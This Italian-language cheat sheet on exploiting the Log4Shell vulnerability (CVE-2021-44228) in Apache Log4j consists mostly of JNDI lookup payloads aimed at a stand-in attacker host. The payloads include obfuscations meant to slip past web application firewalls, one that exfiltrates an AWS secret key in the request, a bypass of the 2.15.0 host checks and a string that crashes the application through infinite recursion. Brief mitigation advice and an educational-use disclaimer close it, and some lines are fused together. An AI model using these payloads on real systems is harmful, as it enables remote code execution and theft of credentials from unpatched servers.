
🐱💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java LOG4J - Trucchi di bypass WAF
CVE-2021-44228 funziona su:
log4j: 2.0 <= Apache log4j <= 2.14.1
Versioni Java già corrette: 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender ha iniziato a rimuovere i file .java che includono jndi:ldap:....
Semplice script dell'attaccante (possibile RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF o sviluppatori hanno iniziato a bloccare le frasi:
per proteggere le applicazioni.
Tuttavia, l'attaccante può bypassarlo utilizzando una di queste tecniche:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Dalla documentazione di Apache Log4j 2: ${env:ENV_NAME:-default_value}
Se non esiste la variabile d'ambiente ENV_NAME, usa il testo dopo :-
L'attaccante può usare qualsiasi nome al posto di ENV_NAME, ma deve non esistere.
Oppure l'hacker può leggere la variabile d'ambiente, esempio per AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
Scopri altri segreti in 🦄🔒 Incredibile lista di segreti nelle variabili d'ambiente 🖥️
Puoi controllare le tue variabili d'ambiente di sistema:
dir env:printenv o env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup LowerLookup converte l'argomento passato in minuscolo. Presumibilmente il valore sarà il risultato di una ricerca annidata.
${lower:<testo>}
Upper Lookup UpperLookup converte l'argomento passato in maiuscolo. Presumibilmente il valore sarà il risultato di una ricerca annidata.
${upper:<testo>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı viene convertito in i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
Se non esiste la proprietà di sistema SYS_NAME, usa il testo dopo :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
La formattazione della data di Java converte YYYY in 2021, ma converte 'YYYY' in YYYY o 'j' in j.
Sostituisci i caratteri con:
Puoi leggere di più qui Riferimento per la codifica URL HTML
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
Non verifica l'esistenza della ricerca e si limita a valutare il default.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"Separatamente queste chiavi e valori non rappresentano un attacco. Ma tutti insieme sono un attacco e questo attacco è trasparente per i sistemi di rilevamento a causa del parser JSON." Leggi altro...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
Converti alcuni caratteri in unicode.
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Bypassa i controlli allowedLdapHost e allowedClasses in Log4J 2.15.0. Il metodo java.net.URI getHost() restituisce il valore prima di # come host reale. Ma il risolutore JNDI/LDAP risolverà la stringa host completa tentando di connettersi al server LDAP malevolo.
${${::-${::-$${::-j}}}}
Se viene tentata una sostituzione di stringa per qualsiasi motivo sulla seguente stringa, innescherà una ricorsione infinita e l'applicazione crascherà.
Crea un file pdf speciale per sfruttare CVE-2021-44228

Ottieni un file PDF e leggi altro...
Per testare l'input puoi usare:
tl;dr Aggiorna a log4j-2.17.1 o successivo.
Mitigazione per Log4j 1.x: Log4j 1.x non ha Lookups quindi il rischio è minore. Le applicazioni che utilizzano Log4j 1.x sono vulnerabili a questo attacco solo quando usano JNDI nella loro configurazione. Un CVE separato (CVE-2021-4104) è stato registrato per questa vulnerabilità. Per mitigare: verifica la tua configurazione di logging per assicurarti che non abbia JMSAppender configurato. Le configurazioni Log4j 1.x senza JMSAppender non sono influenzate da questa vulnerabilità.
Mitigazione per Log4j 2.x: Implementa una delle tecniche di mitigazione seguenti.
Nota che solo il file JAR log4j-core è interessato da questa vulnerabilità. Le applicazioni che utilizzano solo il file JAR log4j-api senza il file JAR log4j-core non sono influenzate da questa vulnerabilità.

Questo progetto può essere utilizzato solo per scopi educativi. Usare questo software contro sistemi target senza autorizzazione preventiva è illegale, e l'autore non sarà responsabile per eventuali danni derivanti da un uso improprio.
Non sono l'autore di CVE-2021-44228 e di alcuni bypass